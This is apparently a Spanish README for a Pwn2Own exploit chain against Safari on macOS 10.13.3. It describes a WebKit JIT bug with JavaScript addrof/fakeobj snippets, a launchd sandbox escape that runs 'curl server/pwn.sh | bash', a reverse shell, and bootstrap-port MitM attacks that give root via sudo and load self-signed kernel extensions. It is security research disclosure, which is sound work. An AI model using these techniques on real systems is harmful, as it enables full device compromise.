
Una cadena de exploits de Pwn2Own
RCE en Safari, escape de sandbox y LPE a kernel para macOS 10.13.3.
Instala nasm y tornado:
brew install nasm
pip3 install tornado
Revisa config.py si quieres cambiar el host o los puertos. Después inicia el
servidor con ./server.py y navega a la URL mostrada.
Esta cadena de exploits utiliza tres fallos diferentes para pasar de código JavaScript ejecutándose dentro de Safari a ejecución de código en modo kernel:
La cadena de exploits está implementada en seis etapas, cada una en su propio subdirectorio:
Cada subdirectorio (con la excepción de libspc/) contiene un archivo llamado make.py que, al ejecutarse, realiza cualquier tipo de comando de compilación necesario y crea una lista de archivos que el servidor web debe servir.
Objetivo: lograr la ejecución de shellcode dentro del proceso WebContent con sandbox
Fallos explotados: optimización incorrecta en el compilador JIT DFG
Ver también esta charla de BlackHat
El compilador JIT DFG representa el código JavaScript en su propia representación
intermedia (IR), el Data Flow Graph (DFG). Normalmente, una expresión de JavaScript
se traduce a una o varias instrucciones IR en este grafo. En el
caso de una función constructora, se emite la instrucción CreateThis, que es la
encargada de asignar el objeto this que construye la
función. Como ejemplo, la función function Consructor() {}, cuando se llama
con new, se traduciría aproximadamente a
v0 = CreateThis
return v0
Si observamos el AbstractInterpreter, podemos ver que el compilador JIT DFG
asume que la operación CreateThis no provocará ningún efecto secundario
aparte de una asignación en el heap. De hecho, este código:
function Constructor(obj) {
return obj.x;
}
se traduciría aproximadamente a las siguientes instrucciones DFG:
(Aquí, el StructureCheck fue movido al principio de la función por la
TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Sin embargo, esa suposición no es válida, ya que el código de la ruta lenta de CreateThis puede
ejecutar código JavaScript arbitrario en algunos casos. En particular, al usar un
Proxy alrededor de la función real, el trap get para la propiedad "prototype"
se invocará durante el manejador de la ruta lenta de CreateThis, ya que necesita
obtener el objeto prototipo para el objeto construido:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* ejecutar JS aquí, modificar la estructura del objeto argumento, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Forzar la compilación JIT de ConstructorProxy
Por lo tanto, ahora es posible modificar la Structure de un objeto sin que el compilador JIT realice un bailout.
Este fallo puede utilizarse para construir las primitivas addrof y fakeobj de la siguiente manera:
Compilamos el código para el caso de un JSArray con elementos double sin empaquetar;
luego, en el callback, realizamos la transición a elementos JSValue. Después, el código JIT
cargará un JSValue del array, pero tratará esos bits como un double y nos los
devolverá. El siguiente código asignará la dirección de leakme a la
propiedad "address" del objeto construido.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Aquí esencialmente lo hacemos al revés: optimizamos el código para almacenar un
double en un array con elementos double sin empaquetar y, de nuevo, hacemos la transición
a elementos JSValue en el callback. El código continuará escribiendo nuestro
double controlado en forma sin empaquetar en el almacenamiento subyacente. Cuando después accedamos
a ese elemento del array, tratará esos bits como un JSValue en lugar de un double.
El siguiente código escribirá el double sin empaquetar address en el búfer
subyacente de a, que luego podemos leer como JSValue, lo que nos permite "inyectar"
JSValues de nuestra elección en el motor.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
De este modo, terminamos con la capacidad de escribir un double y tratarlo como un puntero a JSObject, y viceversa. Esto puede explotarse como se describe en attacking javascript engines.
El exploit primero consigue lectura/escritura de memoria arbitraria del proceso falsificando un Float64Array, luego busca la región JIT (mapeada RWX) y escribe el shellcode de la etapa 1 allí.
Objetivo: arrancar la etapa 2 escribiendo un .dylib en disco y cargándolo mediante dlopen()
Un payload corto en ensamblador que esencialmente hace lo siguiente:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obtener una ruta a un directorio escribibledlopen()Objetivo: salir de la sandbox
Fallo explotado: comprobaciones de sandbox ausentes en la API "legacy_spawn" de launchd
Ver también esta charla
Launchd expone el endpoint RPC "legacy_spawn" como rutina 817 en el subsistema 3.
Esta API no valida si al invocador se le debería permitir lanzar
procesos y simplemente ejecutará con execve cualquier binario del sistema para el invocador
con argumentos controlados. Dado que launchd es alcanzable a través del puerto bootstrap,
esto hace posible escapar de la sandbox.
El exploit esencialmente ejecuta curl server/pwn.sh | bash y así pasa
el control a la etapa 3.
Objetivo: abrir la calculadora y arrancar las etapas restantes
Esto ejecuta open /Applications/Calculator.app y establece una reverse
shell; después obtiene todos los archivos necesarios para las etapas restantes y ejecuta
los exploits.
Objetivo: obtener root mediante un exploit LPE
Fallo explotado: MitM en el puerto bootstrap de XNU
Ver también esta charla POC
En XNU, la API task_set_special_port permite a los invocadores sobrescribir su
puerto bootstrap, que se usa para comunicarse con launchd. Este puerto se
hereda a través de los forks: los procesos hijo usarán el mismo puerto bootstrap que el
padre. Ahora surge un problema de seguridad si el proceso hijo tiene más privilegios
que el padre, como es el caso, por ejemplo, de sudo (un binario setuid) o
kextutil (que tiene la entitlement "com.apple.rootless.kext-management"). Al
sobrescribir el puerto bootstrap y hacer fork de un proceso hijo, ahora podemos obtener una
posición de MitM entre nuestro hijo y launchd (al cual nuestro hijo espera llegar
cuando envía mensajes al puerto bootstrap). El proceso hijo le pedirá
a launchd que resuelva varios servicios mach y XPC. Al resolver estos servicios
a otros puertos controlados por nosotros, también podemos obtener una posición de MitM con
servicios arbitrarios del sistema usados por nuestro proceso hijo. La explotación depende entonces
de cómo use esos servicios el programa atacado.
Para obtener root, apuntamos al binario sudo e interceptamos su comunicación con
opendirectoryd, que es usado por sudo para verificar credenciales. Modificamos las
respuestas de opendirectoryd para que parezca que nuestra contraseña era válida.
Parece que hubo un intento de solucionar este problema, ya que libxpc (que
realiza la comunicación con launchd) verifica que las respuestas provienen efectivamente de un
proceso con uid=0 y pid=1 (== launchd). Sin embargo, estas comprobaciones son
insuficientes. Podemos omitirlas de la siguiente manera para resolver opendirectoryd a nuestro
propio puerto:
net.saelo.hax) con launchd usando la
API bootstrap_register2com.apple.system.opendirectoryd.api por net.saelo.haxTodo lo que queda ahora (para una escalada de privilegios a root) es reenviar los mensajes entre opendirectoryd y sudo, pero reemplazar la respuesta de error de autenticación por una respuesta de éxito.
Objetivo: cargar una extensión de kernel (autofirmada)
Fallo explotado: MitM en el puerto bootstrap de XNU
Esto explota el mismo fallo que la etapa 4, pero esta vez apuntando a kextutil. Interceptamos
la conexión a com.apple.trustd y falsificamos la cadena de certificados,
haciendo que kextutil piense que nuestro kext autofirmado está realmente firmado
directamente por Apple.
kextutil procede aproximadamente de la siguiente manera cuando se le pide cargar un .kext desde disco:
trustd para obtener la cadena de certificados y establecer
si el certificado raíz es de confianzasyspolicyd.
Sin embargo, si no se puede alcanzar syspolicyd, kextutil simplemente continúaEsto permite el siguiente ataque para cargar extensiones de kernel autofirmadas:
com.apple.trustd a nuestro propio serviciotrustd y responder con una cadena de certificados fija
de un .kext oficial de Applesyspolicyd (p. ej. reemplazando
com.apple.security.syspolicy.kext por net.saelo.lolno en las solicitudes de búsqueda
de servicios a launchd)kextutil cargará entonces nuestra extensión de kernel en el kernel.